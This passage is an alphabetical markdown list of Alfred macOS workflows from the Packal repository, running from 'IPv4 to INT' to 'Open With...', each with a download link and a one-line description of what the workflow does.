* [IPv4 to INT and vice versa](https://github.com/packal/repository/raw/master/com.chintanbuch.alfred.ip4int/ipv4_to_int.alfredworkflow) - Convert IPv4 to INT and vice versa
* [IPython Notebooks](https://github.com/packal/repository/raw/master/nkeim.ipynbworkflow/ipython_notebooks.alfredworkflow) - Search notebook titles on your IPython notebook server
* [Ignore File](https://github.com/packal/repository/raw/master/net.alfred-ignore.v1/ignore_file.alfredworkflow) - File will no longer be returned in alfred results
* [Image Optimization](https://github.com/packal/repository/raw/master/com.tumblr.ramiroaraujo.alfred-image-optim-workflow/alfred-image-optim-workflow.alfredworkflow) - Lossily compress jpg, png and gif files
* [Image Optimization](https://github.com/packal/repository/raw/master/com.tumblr.ramiroaraujo.alfred-image-optim-workflow/alfred-image-optim-workflow.alfredworkflow) - Lossily compress jpg, png and gif files
* [Imgur Downloader](https://github.com/packal/repository/raw/master/es.eduardorey.imgur/imgur_downloader.alfredworkflow) - Imgur downloader.
* [Imgur Uploader](https://github.com/packal/repository/raw/master/mn.frd.alfred-imgur/alfred-imgur.alfredworkflow) - Alfred workflow to upload image files to Imgur
* [IncognitoClone](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.incognitoclone/incognitoclone.alfredworkflow) - Opens Chrome’s frontmost tab in an incognito window
* [Increase By One](https://github.com/packal/repository/raw/master/com.alfredapp.increasebyone/increase_by_one.alfredworkflow) - Increase the number from copied text by one and paste it.
* [Incrementer](https://github.com/packal/repository/raw/master/com.necset.incrementer/incrementer.alfredworkflow) - Increments the selected number by desired value
* [Instacast](https://github.com/packal/repository/raw/master/io.mosh.alfred-instacast/instacast.alfredworkflow) - Interect with Instacast for Mac via Alfred.
* [Install App](https://github.com/packal/repository/raw/master/com.mcskrzypczak.install/mcskrzypczak-install_apps.alfredworkflow) - Install apps from zip, dmg, pkg or just copy .app to /Applications folder
* [Install Mac Apps](https://github.com/packal/repository/raw/master/me.alexw.install_apps/install_apps.alfredworkflow) - Quicky install mac apps Install and name of app, and that's it! Based on the community list of brew cask
* [Instant Search Workflow](https://github.com/packal/repository/raw/master/com.customct.InstantSearch/instantsearchworkflow.alfredworkflow) - Alfred Workflow to make use of Brett's SearchLink Service.
* [Invisible Files](https://github.com/packal/repository/raw/master/com.makinoworks.InvisibleFiles/invisible_files.alfredworkflow) - Show/Hide Invisible files
* [Iris](https://github.com/packal/repository/raw/master/com.donsa.imdb/iris.alfredworkflow) - A workflow for Alfred 3.0 that allows you to quick search for a movies and subtitles.
* [Irvue for Alfred](https://github.com/packal/repository/raw/master/com.marceloalves.irvue-workflow/irvue.alfredworkflow) - Workflow to control Irvue
* [JS Coach React Native Search](https://github.com/packal/repository/raw/master/cn.frankwang.JSCoachReactNative/search_js.coach_react-native.alfredworkflow) - Search for React Native on JS.Coach
* [JSON beautifier](https://github.com/packal/repository/raw/master/com.alfredapp.jsonbeautifier/json_beautifier.alfredworkflow) - Beautifies minified JSON
* [Jasmine Runner](https://github.com/packal/repository/raw/master/com.earthvectors.jasmineRunner/jasmine_runner.alfredworkflow) - A simple applescript workflow to tell chrome to run jasmine specs at localhost:8888
* [Jenkins](https://github.com/packal/repository/raw/master/me.amwam.jenkins/jenkins.alfredworkflow) - Show and search through jobs on Jenkins
* [Jenkins Workflow](https://github.com/packal/repository/raw/master/com.jyeakley.jenkins/jenkins.alfredworkflow) - Jenkins workflow to gather status and run jobs
* [Jenkins helper](https://github.com/packal/repository/raw/master/fr.vidaljulien.jekinshelper/0.1-jenkins-helper.alfredworkflow) - A workflow for using jenkins
* [Jira](https://github.com/packal/repository/raw/master/info.langeland.jira/jira_v1.0.0.alfredworkflow) - Search and open boards, projects and issues
* [Jira Task Manager](https://github.com/packal/repository/raw/master/com.miguelpuyol.jira/jira_task_manager.alfredworkflow) - A Jira Task Manager for Alfred
* [Jira browse ticket](https://github.com/packal/repository/raw/master/com.cskeppstedt.jirabrowseticket/jira_browse_ticket.alfredworkflow) - Enter your JIRA ticket number to get a full URL
* [Jisho v1.0](https://github.com/packal/repository/raw/master/com.interly.jisho/jisho_v1.0.alfredworkflow) - Translate English and Japanese words with Jisho.org
* [Jisho: Japanese-English Dictionary](https://github.com/packal/repository/raw/master/com.janclarin.jisho-alfred-workflow/jisho.alfredworkflow) - Easily and quickly search Jisho.org, a powerful Japanese-English dictionary.
* [Jorudan Train Search](https://github.com/packal/repository/raw/master/ws.takuro.app.alfred.workflow.jorudan/jorudan_train_search.alfredworkflow) - Workflow for Jorudan train search
* [Julian Date calculator](https://github.com/packal/repository/raw/master/com.kevin_mckenzie.julian_date/22julian22_date_functionality.alfredworkflow) - Converts dates to/from Julian dates, as well as some date math
* [Jump Desktop](https://github.com/packal/repository/raw/master/com.vmitchell85.jumpdesktop/jump_desktop.alfredworkflow) - Open the specified server in Jump Desktop
* [Jumpshare](https://github.com/packal/repository/raw/master/com.xilopaint.alfredapp.jumpshare/jumpshare.alfredworkflow) - Upload files and folders to Jumpshare
* [KA Torrents](https://github.com/packal/repository/raw/master/com.hackademic.ka_torrents/ka_torrents.alfredworkflow) - Search and download torrents from kickass.so
* [KAT Search](https://github.com/packal/repository/raw/master/com.katsearch/kat_search.alfredworkflow) - Just a workflow used to search on KAT (KickAssTorrent) website
* [KAT search to Transmission](https://github.com/packal/repository/raw/master/com.auino.kat2transmission/kat_search_to_transmission.alfredworkflow) - Workflow used to search torrent files on KAT mirrors and download chosen files through a remote Transmission server
* [Karabiner Elements Profile Switcher](https://github.com/packal/repository/raw/master/com.alfred.karabinerelements.profileswitcher/karabiner_elements_profile_switcher.alfredworkflow) - Easily switch selected profile as configured in ~/.config/karabiner/karabiner.json
* [KeepingYouAwake](https://github.com/packal/repository/raw/master/com.tylersticka.keepingyouawake/keepingyouawake.alfredworkflow) - Toggle KeepingYouAwake
* [KeyCodes](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.keycodes/keycodes.alfredworkflow) - Translate keyboard keys to AppleScript key codes
* [Keynote Remote](https://github.com/packal/repository/raw/master/com.gabamnml.keynote.remote/keynote_remote_control.alfredworkflow) - Manage your presentations in Keynote with Remote
* [Keypad for InDesign](https://github.com/packal/repository/raw/master/keypad.jolinmasson.com/indesign_keypad.alfredworkflow) - Simulate a Keypad with Alfred
* [Kill Process](https://github.com/packal/repository/raw/master/com.ngreenstein.alfred-process-killer/kill_process.alfredworkflow) - Kill Process makes it easy to find and kill misbehaving processes.
* [Kippt Search](https://github.com/packal/repository/raw/master/com.michaelwaterfall.kippt-search/kippt-search.alfredworkflow) - Search your Kippt bookmarks.
* [Kitap Metre](https://github.com/packal/repository/raw/master/com.ttuygun.alfred-kitap-metre-workflow/kitap_metre.alfredworkflow) - This alfred workflow shows kitapmetre.com's (the best book price search engine) results.
* [KoZip](https://github.com/packal/repository/raw/master/kyungw00k.alfred.kozip/kozip-1.0.1.alfredworkflow) - Korean Postal Code Search
* [Kutt](https://github.com/packal/repository/raw/master/com.alfredapp.kutt/kutt.alfredworkflow) - Free modren URL shortener
* [LDAP contacts](https://github.com/packal/repository/raw/master/mn.frd.ldap-contacts/alfred-ldap.alfredworkflow) - Alfred workflow to search for telephone numbers of coworkers through an Active Directory/LDAP directory.
* [LIFred](https://github.com/packal/repository/raw/master/de.bieg-software.LIFred/lifred.alfredworkflow) - A workflow to control your LIFX smart bulbs.
* [LaTeX math to png](https://github.com/packal/repository/raw/master/com.apple.alfred.workflow.latexmath/latexmath_to_png.alfredworkflow) - Generates and download a png from a LaTeX equation
* [LabelColor](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.labelcolor/labelcolor.alfredworkflow) - Sets a label color for selected files and directories
* [Laracasts](https://github.com/packal/repository/raw/master/com.dansmith.laracasts/laracasts.alfredworkflow) - Simple search functionality for Laracasts.com
* [Laravel Docs](https://github.com/packal/repository/raw/master/com.tillkruss.laravel-docs/laravel_docs.alfredworkflow) - An ultra-fast Laravel docs search workflow
* [Laravel Homestead](https://github.com/packal/repository/raw/master/com.graftechnology.homestead/homestead.alfredworkflow) - Easily control Laravel Homestead from within Alfred.
* [Laravel Nova Docs](https://github.com/packal/repository/raw/master/com.billrclark.novasearch/nova.docs_.alfredworkflow) - An Alfred Workflow to Quickly Search the Laravel Nova Documentation
* [Laravel Nova Documentation](https://github.com/packal/repository/raw/master/org.techouse.nova-docs/nova-docs-v1.0.4.alfredworkflow) - Search the Laravel Nova documentation using Alfred.
* [Laravel Nova Documentation](https://github.com/packal/repository/raw/master/org.techouse.nova-docs/nova-docs-v1.0.4.alfredworkflow) - Search the Laravel Nova documentation using Alfred.
* [Laser SSH](https://github.com/packal/repository/raw/master/com.paperelectron.alfred.laserssh/laser_ssh.alfredworkflow) - Choose SSH connection from filterable list
* [Last 2 Imgur](https://github.com/packal/repository/raw/master/in.aviaryan.last2imgur/last_2_imgur.alfredworkflow) - Alfred workflow to upload the last screenshot taken to Imgur + (delete and minify image)
* [Last.fm Look-Up](https://github.com/packal/repository/raw/master/com.dotson.lastsim/last.fm_look-up.alfredworkflow) - Search Last.fm for similar artist info.
* [LastPass Vault Manager](https://github.com/packal/repository/raw/master/com.bachya.lpvm/lastpass_vault_manager.alfredworkflow) - A workflow to interact with a LastPass vault.
* [Lastpass CLI Workflow for Alfred](https://github.com/packal/repository/raw/master/com.stuartryan.alfred.lastpass/lastpass-cli-alfred-workflow.alfredworkflow) - Simple workflow to interact with the Lastpass CLI interface.
* [Launch Maps App Using Selected Text](https://github.com/packal/repository/raw/master/com.afredapp.openaddress.mapsapp/launch_maps_app_using_selected_text.alfredworkflow) - This workflow is used to launch the Map application in macOS, with a selected address as the search parameter.
* [Launch URL in 3 browsers](https://github.com/packal/repository/raw/master/com.alfredapp.vero.3browsers/launch_in_3_browsers.alfredworkflow) - Launch a URL in three browsers to speed up website testing
* [Lawfred Intelligence](https://github.com/packal/repository/raw/master/lawfred-intelligence/lawfred_intelligence.alfredworkflow) - Search Legal Intelligence straight from Alfred
* [Lazy Link](https://github.com/packal/repository/raw/master/com.uniqon.lazylink/lazy_link.alfredworkflow) - Copy and paste titled link from foremost web browser
* [Le Tournedisque, discover new music](https://github.com/packal/repository/raw/master/florian.letournedisque/letournedisque.alfredworkflow) - letournedisque.com is posting about a track a day, from Electro to Hip-Hop to New Jazz and Electro Rock
* [LeetCode Search](https://github.com/packal/repository/raw/master/com.tooschoolforcool.alfred.leetcode/leetcode_search.alfredworkflow) - LeetCode Search is an Alfred Workflow plugin for searching algorithm problems in LeetCode with custom options.
* [Lernu! Dictionary](https://github.com/packal/repository/raw/master/com.shouya.eodict/lernu_dictionary.alfredworkflow) - An Esperanto dictionary
* [Letterboxd Search](https://github.com/packal/repository/raw/master/com.ikasch.letterboxdSearch/letterboxd-search.alfredworkflow) - Use keyword "lb" to open a search on letterboxd.com
* [LibGen](https://github.com/packal/repository/raw/master/com.hackademic.libgen/libgen.alfredworkflow) - Search and Download pdfs and ebooks from Library Genesis
* [Linguee EN-FR](https://github.com/packal/repository/raw/master/com.J2AN.linguee/linguee-fr-en.alfredworkflow) - Make a request to Linguee for english and french words
* [Linguee English German](https://github.com/packal/repository/raw/master/com.timoderbeste.linguee_de_en/linguee_german-english.alfredworkflow) - With this workflow, one can search the english meaning of a german word or of an english word
* [LinkClean](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.linkclean/linkclean.alfredworkflow) - Removes extraneous information from URLs
* [Lipsum](https://github.com/packal/repository/raw/master/com.tylerkemme.com/tklipsum.alfredworkflow) - Generates paragraphs or words of lorem ipsum using lipsum.com
* [List Processing Workflow](https://github.com/packal/repository/raw/master/com.customct.ListProcessingWorkflow/listprocessingworkflow.alfredworkflow) - Sequence through a list using a specified separator.
* [Little CSS Cookbook](https://github.com/packal/repository/raw/master/com.bitbazar.lcc/little_css_cookbook.alfredworkflow) - A workflow to write CSS faster and without errors
* [LoL Profile](https://github.com/packal/repository/raw/master/com.yannickglt.alfred3.lolprofile/lol_profile.alfredworkflow) - Search for a League of Legends player onto LoLProfile.net
* [LocalPort](https://github.com/packal/repository/raw/master/in.fech.localport/localport_v1.0.0.alfredworkflow) - Open the local with port address
* [Localhost](https://github.com/packal/repository/raw/master/com.kwtucker.localhost/local_host.alfredworkflow) - Opens http://localhost: with your port passed in as a argument.
* [Localhost](https://github.com/packal/repository/raw/master/com.victorhazbun.localhost/localhost_1_1.alfredworkflow) - Open localhost at specified port
* [Lock 1Password](https://github.com/packal/repository/raw/master/com.fooligan.lock1password/lock_1password.alfredworkflow) - An Alfred command to lock 1Password
* [Lock Mac](https://github.com/packal/repository/raw/master/lock.mac/lock.mac_.alfredworkflow) - Hotkey to lock you mac.
* [Lock screen with Knock](https://github.com/packal/repository/raw/master/net.lemonlee.knockscreenlocker/lock_screen_with_knock.alfredworkflow) - Lock your screen with Knock
* [Lorem Ipsum](https://github.com/packal/repository/raw/master/com.alexchantastic.loremipsum/alfred-lipsum-workflow.alfredworkflow) - Generate dummy lorem ipsum text.
* [Lorem Ipsum](https://github.com/packal/repository/raw/master/com.tillkruss.loremipsum/lorem.ipsum_.alfredworkflow) - An ultra-fast Lorem Ipsum text generator.
* [Lorem Ipsum](https://github.com/packal/repository/raw/master/com.robert-arellano.lorem-ipsum/lorem_ipsum.alfredworkflow) - Generate lorem ipsum text from Alfred
* [Love in iTunes](https://github.com/packal/repository/raw/master/com.eightvine.ituneslove/22love22_track_in_itunes.alfredworkflow) - Sets current track to "loved" in iTunes, alerts user if track already loved.
* [Lulz](https://github.com/packal/repository/raw/master/net.coderanger.lulz/lulz.alfredworkflow) - A workflow to put silly things at your fingertips.
* [Luxinate](https://github.com/packal/repository/raw/master/co.nf.ritashugisha.luxinate/luxinate_v7.0r1.3a.alfredworkflow) - Alfred.v2 Streamed Media Downloader
* [MARKDOWN TOC](https://github.com/packal/repository/raw/master/com.bhishanpdl.markdown_toc/markdown_toc.alfredworkflow) - Create table of contents from markdown text
* [MD Link formatter](https://github.com/packal/repository/raw/master/com.mdlinkformatter.cyrusn/md_link_formatter.alfredworkflow) - Convert MD link in inline style to reference style, vice versa
* [MD5 hasher](https://github.com/packal/repository/raw/master/io.trilium.nikola.alfredworkflow.md5hasher/md5_hasher.alfredworkflow) - Simple Alfred 2 workflow for generating .htpasswd string, or simply to generate md5 hash from given string
* [MDN Search](https://github.com/packal/repository/raw/master/com.gilbarbara.mdn-search/mdnsearch.alfredworkflow) - Search MDN
* [MLV 2016 Find & Paste Scripture](https://github.com/packal/repository/raw/master/com.dongarey.mlv2016findandpastescripture/mlv_2016_find_paste_scripture.alfredworkflow) - Type translation abbreviation and verse reference. It will paste the verse where your cursor is.
* [MPD](https://github.com/packal/repository/raw/master/net.deanishe.alfred.mpd/mpd-0.1.2.alfredworkflow) - Control MPD (music player daemon) from Alfred
* [MPlayerX](https://github.com/packal/repository/raw/master/thirteen.jaggy.mplayerx/mplayerx.alfredworkflow) - Workflow for controlling MPlayerX
* [MWeb](https://github.com/packal/repository/raw/master/com.tianhaox.alfred.mweb/mweb.alfredworkflow) - quick find and open MWeb document
* [Mac App Store Search](https://github.com/packal/repository/raw/master/com.targumanu.massearch/mac_app_store_search.alfredworkflow) - Search the Mac App Store
* [MacVim Toolkit](https://github.com/packal/repository/raw/master/com.customct.MacVimToolbox/macvimtoolbox.alfredworkflow) - Allow editing files in MacVim gui or terminal mode. Works with either Finder or PathFinder
* [MachineClean](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.machineclean/machineclean.alfredworkflow) - Lock your keyboard and trackpad temporarily, so you can clean them
* [Mail Interface Management](https://github.com/packal/repository/raw/master/fm.fastmail.dfay.mailview/mail_interface_management.alfredworkflow) - A few scripts for managing Apple Mail
* [Mail Read](https://github.com/packal/repository/raw/master/com.renegaed.mail-read/mail_read.alfredworkflow) - Mark all unread Mail as read
* [Mail.app Search](https://github.com/packal/repository/raw/master/com.alfredapp.vero.mailsearch/mail.app_search.alfredworkflow) - Search Mail by sender, subject line, or all fields
* [MailTo](https://github.com/packal/repository/raw/master/net.deanishe.alfred-mailto/mailto-2.1.4.alfredworkflow) - Send mail to contacts and groups from your Address Book
* [MailURL](https://github.com/packal/repository/raw/master/com.stirabout.mailurl/copy_mail_url.alfredworkflow) - Gets the mail id url from a selected piece of mail, formats it as a link, and pushes it to your clipboard
* [Manage Alfred Extension](https://github.com/packal/repository/raw/master/com.jmjeong.alfredv2.ealfred/manage_alfred_extension.alfredworkflow) - List and view details about installed Alfred extensions. Additional features added: Open in iTerm, Copy Path and Browse Data Directory.
* [Manage Alfred Extension](https://github.com/packal/repository/raw/master/com.jmjeong.alfredv2.mae/managealfredextension.alfredworkflow) - Browse and Manage alfred extension
* [MangaEden Search](https://github.com/packal/repository/raw/master/com.emmunaf.mesearch/mangaeden_search.alfredworkflow) - Search, read and download manga from mangaeden.com
* [Mark Text](https://github.com/packal/repository/raw/master/com.eviato.marktext/mark-text.alfredworkflow) - Use "mt" to open files/folder with Mark Text
* [Markdown Image](https://github.com/packal/repository/raw/master/com.tuzhihao.mdimage/markdown_image.alfredworkflow) - 上传图片到七牛或smms，并复制为md链接
* [Markdown to BBCode](https://github.com/packal/repository/raw/master/com.sztoltz.markdowtobbcode/markdowntobbcode2.alfredworkflow) - Convert Markdown to BBCode
* [Markdown to Pressentation Workflow](https://github.com/packal/repository/raw/master/com.customct.MDSlides/markdownpressentation.alfredworkflow) - Converts a Markdown file to a slideshow.
* [MarkdownTransform](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.markdowntransform/markdowntransform.alfredworkflow) - Convert Markdown to other formats
* [Mathematica](https://github.com/packal/repository/raw/master/me.smarsh.mathematica/mathematica.alfredworkflow) - Runs commands using the Mathematica kernel.
* [MediaThorn](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.mediathorn/mediathorn.alfredworkflow) - Get ratings for different types of media
* [Melon Music Search](https://github.com/packal/repository/raw/master/so.muk.melon.search/melon_music_search-1.0.alfredworkflow) - melon music search (artists, albums, songs)
* [Memeflow](https://github.com/packal/repository/raw/master/andrielfn.memeflow/memeflow.alfredworkflow) - Memeflow gives you access to a preset list os memes.
* [Mendix Tools](https://github.com/packal/repository/raw/master/com.jeltemx.mendixtools/mendix_tools.alfredworkflow) - Mendix shortcut to tools, including search
* [Menu Bar Activate](https://github.com/packal/repository/raw/master/com.n0vi.MenubarActivate/menu_bar_activate.alfredworkflow) - Press Option twice to activate the menu bar of the foremost application.
* [Menu Bar Search](https://github.com/packal/repository/raw/master/com.tedwise.menubarsearch/menu_bar_search.alfredworkflow) - Search for and activate application menu items for the frontmost application.
* [Menubar-autohide](https://github.com/packal/repository/raw/master/space.tsouhaieb.menubar-autohide/menubar-autohide.alfredworkflow) - enable/disable autohide menubar
* [Mianliao](https://github.com/packal/repository/raw/master/net.whtsky.mianliao/mianliao.alfredworkflow) - Help you log into Mianliao Network.
* [Microsoft Remote Desktop](https://github.com/packal/repository/raw/master/com.tedwise.rdp/microsoft_remote_desktop.alfredworkflow) - Connect to a Microsoft Remote Desktop (RDP) desktop.
* [Microsoft Translate Alfred Workflow](https://github.com/packal/repository/raw/master/com.no-technology-no-life.microsoft.translate/trs.alfredworkflow) - This is workflow application using Microsoft Translator Text API.
* [Minecraft](https://github.com/packal/repository/raw/master/de.oliverconzen.termicraft/minecraft.alfredworkflow) - Launches the Minecraft Launcher with System Java instead of Apple Java 6
* [Minecraft Server Checker](https://github.com/packal/repository/raw/master/co.rudybermudez.alfredmcserverchecker/minecraft_server_checker.alfredworkflow) - An Alfred workflow for querying the status of a Minecraft server
* [Mjolnir Workflow](https://github.com/packal/repository/raw/master/com.customct.Mjolnir/mjolnirworkflow.alfredworkflow) - A workflow for controlling your desktop with Mjolnir and Alfred Remote.
* [MongoDb Starter](https://github.com/packal/repository/raw/master/nl.osingasoftware.mongodb-starter/mongodb_starter.alfredworkflow) - This workflow starts or stops the MongoDb server
* [Moom - Window Layouts](https://github.com/packal/repository/raw/master/moomlayout1.0/moom_window_layouts.alfredworkflow) - This Alfred workflow allows you to control your Moom app within Alfred 3.
* [Mountain Duck Bookmarks](https://github.com/packal/repository/raw/master/tk.dreamisdead.alfredworkflows.mduck/mountain_duck_bookmarks.alfredworkflow) - Connect or open ssh session to your Mountain Duck bookmarks
* [Move To](https://github.com/packal/repository/raw/master/com.katienolan.moveto/move_to.alfredworkflow) - Move selected finder item to a folder chosen in Alfred
* [Movie Ratings](https://github.com/packal/repository/raw/master/marcusm.alfred.movieratings/movie_ratings.alfredworkflow) - Search for a movie and see its IMDb, Rotten Tomatoes and Metacritic ratings
* [Movie and TV Show Search](https://github.com/packal/repository/raw/master/com.mcknight.movies/movie_and_tv_show_search.alfredworkflow) - Search for movies and tv shows to find ratings from a few sites.
* [Mr Poole](https://github.com/packal/repository/raw/master/de.frederikvoigt.mrpoole/mr._poole.alfredworkflow) - Mr Poole is an Alfred workflow for managing Jekyll sites.
* [MyData](https://github.com/packal/repository/raw/master/com.auino.mydata/mydata.alfredworkflow) - Easily retrieve data from stored workflow variables and paste them.
* [Myinstants](https://github.com/packal/repository/raw/master/com.flipxfx.myinstants/myinstants.alfredworkflow) - Searches Myinstants.com and plays sounds
* [Mysql Database Create Drop](https://github.com/packal/repository/raw/master/com.oaattia.mysql-database/mysql_database_create_and_remove.alfredworkflow) - Create and drop mysql databases
* [NPM Versions](https://github.com/packal/repository/raw/master/com.alfredapp.npm.versions/npm-versions.alfredworkflow) - Lookup the latest 15 versions for an npm package
* [NSC](https://github.com/packal/repository/raw/master/de.hanshelgebuerger.nsc/nsc.alfredworkflow) - Number System Converter
* [NSONE](https://github.com/packal/repository/raw/master/com.alexvayl.nsone/nsone.alfredworkflow) - Get current DNS queries per second from NSONE
* [NTFS Enabler](https://github.com/packal/repository/raw/master/fmanoeli.ntfsenabler/ntfs_enabler.alfredworkflow) - Enable Write to NTFS drives
* [Naver english dictionary](https://github.com/packal/repository/raw/master/com.scryner.naverdic/neibeo_yeongeo_sajeon.alfredworkflow) - 네이버 영어 사전에서 단어를 검색합니다. (영-한, 한-영)
* [Nest](https://github.com/packal/repository/raw/master/com.jason0x43.alfred-nest/alfred-nest.alfredworkflow) - Control your Nest thermostat
* [Netatmo weather station and thermostat](https://github.com/packal/repository/raw/master/be.wains.blog.netatmo/netatmo_v0.2.alfredworkflow) - Netatmo
* [Netflix Search](https://github.com/packal/repository/raw/master/atr.io.alfred2-netflix-search/alfrednetflixsearch.alfredworkflow) - Search, autocomplete and launch Netflix
* [Network](https://github.com/packal/repository/raw/master/dk.rodalgaard.alfred.network/network.alfredworkflow) - Show and change your network settings
* [Network Connection](https://github.com/packal/repository/raw/master/com.salingki.alfredwf.network/network_connection.alfredworkflow) - Quick start to change network connection
* [Network Info](https://github.com/packal/repository/raw/master/com.tedwise.networkinfo/network_info.alfredworkflow) - Display ip addresses or mac addresses for all network interfaces.
* [Network Location](https://github.com/packal/repository/raw/master/net.deanishe.alfred-network-location/network_location.alfredworkflow) - List, filter and activate network locations from within Alfred
* [Network Tools](https://github.com/packal/repository/raw/master/com.fniephaus.network/network-tools-for-alfred.alfredworkflow) - Collection of some useful network commands
* [New Bear Note](https://github.com/packal/repository/raw/master/com.moyataka.newnote.bear/new_bear_note.alfredworkflow) - Add new note to bear
* [New File from Clipboard](https://github.com/packal/repository/raw/master/com.bhishanpdl.newfilefromclipboard/new_file_from_clipboard.alfredworkflow) - Create new file in Finder from clipboard contents.
* [New Files](https://github.com/packal/repository/raw/master/cpimhoff.newFiles/new_files.alfredworkflow) - An Alfred 3 workflow which allows for the fast creation of new documents and folders.
* [New Note and Search nvALT](https://github.com/packal/repository/raw/master/com.danblondell.searchnvalt/new_note_and_search_nvalt.alfredworkflow) - Search or create a note in nvALT from Alfred.
* [New Terminal Window](https://github.com/packal/repository/raw/master/com.miromannino.new-terminal-window/new_terminal_window.alfredworkflow) - Alfred workflow to open a new Terminal/iTerm window in the current space. Holding the alt key, the new window will be opened in the current frontmost Finder folder.
* [New Word Document](https://github.com/packal/repository/raw/master/com.willow.toggle/new_word_document.alfredworkflow) - new word document
* [New XCode Playground](https://github.com/packal/repository/raw/master/com.chrisbuchholz.new-xcode-playground/new_xcode_playground.alfredworkflow) - New XCode Playgrounds available at an instant
* [NewDoc](https://github.com/packal/repository/raw/master/com.danielms.pm.newdoc/newdoc.alfredworkflow) - Adds shortcuts for creating new Google Docs, Google Sheets, and Google Slides.
* [NewFile](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.newfile/newfile.alfredworkflow) - Creates a new file in the current Finder directory
* [Next Item](https://github.com/packal/repository/raw/master/com.customct.NextItem/nextitem.alfredworkflow) - Sequences through items in one or more files.
* [Nf Remote](https://github.com/packal/repository/raw/master/com.agrill.nf.remote/nf_remote.alfredworkflow) - Control Netflix with Alfred Remote
* [NightShift](https://github.com/packal/repository/raw/master/com.mayuzumi.nightshift/nightshift.alfredworkflow) - Toggle Night Shift on/off or change warm strength
* [NightShiftToggle](https://github.com/packal/repository/raw/master/com.enzosv.nightshifttoggle/nightshifttoggle.alfredworkflow) - Alfred workflow to quickly toggle night shift
* [Nintendo Europe Search](https://github.com/packal/repository/raw/master/se.kovanen.nes/nintendo_europe_search.alfredworkflow) - Search and display Nintendo Switch game prices in European (including South Africa) region
* [Node.js Tools](https://github.com/packal/repository/raw/master/com.xrubio.alfred.nodejs/node.js_tools.alfredworkflow) - Node.js/NPM/NVM tools for developers
* [Norrisisms - Chuck Norris workflow](https://github.com/packal/repository/raw/master/com.jyeakley.norrisisms/norrisisms_-_icndb_workflow.alfredworkflow) - Grab hilarious norrisisms or customize them from icndb
* [Notes](https://github.com/packal/repository/raw/master/com.surrealroad.alfred-note/notes.alfredworkflow) - Creates a new note in Notes.app.
* [Notes Workflow](https://github.com/packal/repository/raw/master/com.customct.Notes/notesworkflow.alfredworkflow) - A workflow for keeping track and making notes.
* [Notification](https://github.com/packal/repository/raw/master/com.mishkinfaustini.Notification/notification.alfredworkflow) - Submit a notification to your Mac
* [Nova Poshta](https://github.com/packal/repository/raw/master/org.troorl.NovaPoshta/nova_poshta.alfredworkflow) - Search for your package in an instant.
* [NpmSearch](https://github.com/packal/repository/raw/master/com.kylinjcl.king/npmsearch_1.0.4.alfredworkflow) - npm packages quick search
* [NumToCNY](https://github.com/packal/repository/raw/master/Yourtion.tools.cny/ren_min_bi_jin_e_da_xie_.alfredworkflow) - Convert Number to Chinese Yuan
* [Numi](https://github.com/packal/repository/raw/master/com.nikolaeu.numi/numi.alfredworkflow) - Smart calculations with Numi
* [Nuxtjs docs search workflow](https://github.com/packal/repository/raw/master/com.xtrasmal.nuxtjs.docs/nuxtjsdocs.alfredworkflow) - Nuxtjs Docs search
* [Nuxtjs docs search workflow for Alfred2+](https://github.com/packal/repository/raw/master/com.xtrasmal.nuxtjs.docs/nuxtjsdocs.alfredworkflow) - Nuxtjs Docs search
* [NyaaSearch](https://github.com/packal/repository/raw/master/com.ankirama.nyaasearch/nyaasearch.alfredworkflow) - Search torrents on nyaa and download/copy it
* [OSM Element](https://github.com/packal/repository/raw/master/biz.skowron.osmelement/osm_element.alfredworkflow) - Opening OpenStreetMap Elements by ID
* [OUI Lookup](https://github.com/packal/repository/raw/master/us.peelman.alfred.oui-search/oui_search.alfredworkflow) - Lookup the vendor for a MAC address
* [Octopow](https://github.com/packal/repository/raw/master/com.customct.octopow/octopow.alfredworkflow) - Interaction with an OctoPress site using POW
* [OmniTube](https://github.com/packal/repository/raw/master/co.nf.ritashugisha.omnitube/omnitube_4.3.alfredworkflow) - Alfred ⇄ YouTube account automation
* [OneNote Navigator](https://github.com/packal/repository/raw/master/com.kfunderburg.oneNoteNav/onenote_navigator.alfredworkflow) - Browse Microsoft OneNote notebooks, section groups and sections and then jump to them instantly.
* [OneUpdater](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.oneupdater/oneupdater.alfredworkflow) - Update workflows with a single node
* [Open Folder in Finder](https://github.com/packal/repository/raw/master/com.henknoppe.openfolderinfinder/open_folder_in_finder.alfredworkflow) - Opens a folder in Finder
* [Open Folder in iTerm](https://github.com/packal/repository/raw/master/com.nicknish.openiniterm/open_folder_in_iterm.alfredworkflow) - Opens iTerm Window/Tab to Specified Folder
* [Open Incognito Window](https://github.com/packal/repository/raw/master/incog420/chrome_incognito_window.alfredworkflow) - Open an Incognito Window in Chrome
* [Open Last Downloaded File](https://github.com/packal/repository/raw/master/downloads.johanyu.alfred/open_last_downloaded_file.alfredworkflow) - Opens the last downloaded file (in the Downloads folder).
* [Open Multiple Projects](https://github.com/packal/repository/raw/master/com.khaliqgant.openproject/open_project.alfredworkflow) - Quickly open projects using Alfred
* [Open Recent Screen Sharing Profile](https://github.com/packal/repository/raw/master/com.angrychimp.recent-screen-share/recent_screen_sharing_profile.alfredworkflow) - Opens a recent Screen Sharing profile based on your Screen Sharing history.
* [Open Sketch Plugin folder](https://github.com/packal/repository/raw/master/be.thibmaekelbergh.wf-sketch-folder/open_sketch_plugin_folder.alfredworkflow) - A quick plugin to open the Sketch plugin & template folder
* [Open Trello Tab in Safari (without Duplicates)](https://github.com/packal/repository/raw/master/com.patgilmour.alfred.trello.script/trello.alfredworkflow) - Open or activate a Trello tab in Safari without duplicates
* [Open URL in "ish."](https://github.com/packal/repository/raw/master/com.willbraden.ish./ish._-_will_braden.alfredworkflow) - URL to ish.
* [Open URL with Hotkey](https://github.com/packal/repository/raw/master/com.benknight.urlhotkey/open_url_with_hotkey.alfredworkflow) - Use this one to highlight a URL found in some text somewhere and open it with your default browser.
* [Open With...](https://github.com/packal/repository/raw/master/com.cesalazar.openwith/open-with.alfredworkflow) - This basically is a shortcut to Alfred's "Open with..." command using a hotkey instead of navigating through Alfred's menu.
